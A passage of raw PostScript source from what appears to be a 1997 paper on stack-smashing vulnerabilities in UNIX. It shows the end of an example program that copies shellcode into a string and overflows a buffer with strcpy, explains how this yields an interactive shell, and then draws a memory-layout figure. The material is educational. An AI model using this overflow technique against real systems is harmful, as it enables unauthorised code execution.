large_string[i] = shellcode[i];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6814 M 1181 6655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6814 M 7519 6655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6654 M 1181 6550 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6654 M 7519 6550 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6566 M ( /* buffer gets the shellcode and 32 pointers back to itself */) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6549 M 1181 6445 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6549 M 7519 6445 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6461 M ( strcpy\(buffer,large_string\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6444 M 1181 6340 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6444 M 7519 6340 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6356 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6339 M 1181 6166 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6339 M 7519 6166 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6213 M ( ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 6160 M 7523 6160 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p90000 SETFONT GS n 2428 6041 M (Example 9.b - ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p90000 SETFONT GS n 3197 6041 M (buffer overflow with shell code execution) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5615 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2154 5615 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2409 5615 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2896 5615 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3262 5615 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3443 5615 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4087 5615 M (9.a; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 5615 M (First, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4784 5615 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5780 5615 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5832 5615 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5995 5615 M (filled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6398 5615 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6745 5615 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 5615 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5339 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1397 5339 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1895 5339 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1992 5339 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2453 5339 M (points ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2914 5339 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3098 5339 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3356 5339 M (future ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3809 5339 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4420 5339 M (location ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5010 5339 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5204 5339 M (our ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5481 5339 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5850 5339 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6219 5339 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6968 5339 M (Second, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5063 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 5063 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1886 5063 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2280 5063 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2471 5063 M (copied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2994 5063 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3332 5063 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3615 5063 M (beginning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4359 5063 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4578 5063 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4861 5063 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5857 5063 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5937 5063 M (character ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6628 5063 M (array. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7135 5063 M (Next, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1200 4787 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 1864 4787 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1983 4787 M (copies ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2462 4787 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3458 4787 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3512 4787 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3861 4787 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4359 4787 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4406 4787 M (overflowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5273 4787 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5530 4787 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5982 4787 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6578 4787 M (overwriting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7408 4787 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4511 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1567 4511 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1836 4511 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2402 4511 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2607 4511 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2876 4511 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3256 4511 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3636 4511 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4396 4511 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4859 4511 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5128 4511 M (main\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5626 4511 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6246 4511 M (completes, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 4511 M (control ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4235 M (jumps to our shell code sequence, and returns an interactive shell.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 19 19 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9995 M 7523 9995 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9990 M 1181 6896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9990 M 7519 6896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 1200 9976 7030 7026 DOCLIPBOX n 1200 9976 M 7029 9976 L 7029 7027 L 1200 7027 L 1200 9976 L 7029 9976 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1200 9976 7030 7026 DOCLIPBOX n 1718 9956 M 3712 9956 L 3712 7183 L 1718 7183 L 1718 9956 L 3712 9956 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 2642 7612 M (bss) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7456 M 1708 7740 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 3718 7456 M 3718 7740 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7456 M 3722 7456 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7176 M 1708 7460 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 3718 7176 M 3718 7460 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 8850 M 3722 8850 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9963 M 3718 9963 L 3718 9956 L 1708 9956 L GS 0.0000 0.0000 0.0000 0.7490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9956 M 3718 9956 L 3718 9946 L 1708 9946 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9946 M 3718 9946 L 3718 9940 L 1708 9940 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9940 M 3718 9940 L 3718 9930 L 1708 9930 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9930 M 3718 9930 L 3718 9923 L 1708 9923 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9923 M 3718 9923 L 3718 9913 L 1708 9913 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9913 M 3718 9913 L 3718 9906 L 1708 9906 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9906 M 3718 9906 L 3718 9896 L 1708 9896 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9896 M 3718 9896 L 3718 9890 L 1708 9890 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9890 M 3718 9890 L 3718 9880 L 1708 9880 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9880 M 3718 9880 L 3718 9870 L 1708 9870 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9870 M 3718 9870 L 3718 9863 L 1708 9863 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9863 M 3718 9863 L 3718 9856 L 1708 9856 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9856 M 3718 9856 L 3718 9846 L 1708 9846 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9846 M 3718 9846 L 3718 9836 L 1708 9836 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9836 M 3718 9836 L 3718 9830 L 1708 9830 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9830 M 3718 9830 L 3718 9820 L 1708 9820 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9820 M 3718 9820 L 3718 9813 L 1708 9813 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9813 M 3718 9813 L 3718 9803 L 1708 9803 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9803 M 3718 9803 L 3718 9796 L 1708 9796 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9796 M 3718 9796 L 3718 9786 L 1708 9786 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9786 M 3718 9786 L 3718 9780 L 1708 9780 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9780 M 3718 9780 L 3718 9770 L 1708 9770 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9770 M 3718 9770 L 3718 9763 L 1708 9763 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9763 M 3718 9763 L 3718 9753 L 1708 9753 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9753 M 3718 9753 L 3718 9743 L 1708 9743 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9746 M 3718 9746 L 3718 9736 L 1708 9736 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9736 M 3718 9736 L 3718 9730 L 1708 9730 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9730 M 3718 9730 L 3718 9720 L 1708 9720 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9720 M 3718 9720 L 3718 9710 L 1708 9710 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9713 M 3718 9713 L 3718 9703 L 1708 9703 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9703 M 3718 9703 L 3718 9693 L 1708 9693 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9696 M 3718 9696 L 3718 9686 L 1708 9686 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9686 M 3718 9686 L 3718 9676 L 1708 9676 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9676 M 3718 9676 L 3718 9670 L 1708 9670 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9670 M 3718 9670 L 3718 9660 L 1708 9660 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9663 M 3718 9663 L 3718 9653 L 1708 9653 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9653 M 3718 9653 L 3718 9643 L 1708 9643 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9643 M 3718 9643 L 3718 9636 L 1708 9636 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9636 M 3718 9636 L 3718 9626 L 1708 9626 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9626 M 3718 9626 L 3718 9620 L 1708 9620 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9620 M 3718 9620 L 3718 9610 L 1708 9610 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9610 M 3718 9610 L 3718 9603 L 1708 9603 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9603 M 3718 9603 L 3718 9593 L 1708 9593 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9593 M 3718 9593 L 3718 9586 L 1708 9586 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9586 M 3718 9586 L 3718 9576 L 1708 9576 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9576 M 3718 9576 L 3718 9570 L 1708 9570 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9570 M 3718 9570 L 3718 9560 L 1708 9560 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9560 M 3718 9560 L 3718 9550 L 1708 9550 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9550 M 3718 9550 L 3718 9543 L 1708 9543 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9543 M 3718 9543 L 3718 9536 L 1708 9536 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9536 M 3718 9536 L 3718 9526 L 1708 9526 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9526 M 3718 9526 L 3718 9516 L 1708 9516 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9516 M 3718 9516 L 3718 9510 L 1708 9510 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9510 M 3718 9510 L 3718 9500 L 1708 9500 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9500 M 3718 9500 L 3718 9493 L 1708 9493 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9493 M 3718 9493 L 3718 9483 L 1708 9483 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9483 M 3718 9483 L 3718 9406 L 1708 9406 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1715 9960 M 3718 9960 L 3718 9406 L 1715 9406 L 1715 9960 L 3718 9960 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 2486 9552 M (user stack) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9406 M 3722 9406 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7680 M 3718 7680 L 3718 7610 L 1708 7610 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7610 M 3718 7610 L 3718 7603 L 1708 7603 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7603 M 3718 7603 L 3718 7593 L 1708 7593 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7596 M 3718 7596 L 3718 7586 L 1708 7586 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7586 M 3718 7586 L 3718 7580 L 1708 7580 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7580 M 3718 7580 L 3718 7573 L 1708 7573 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7573 M 3718 7573 L 3718 7563 L 1708 7563 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 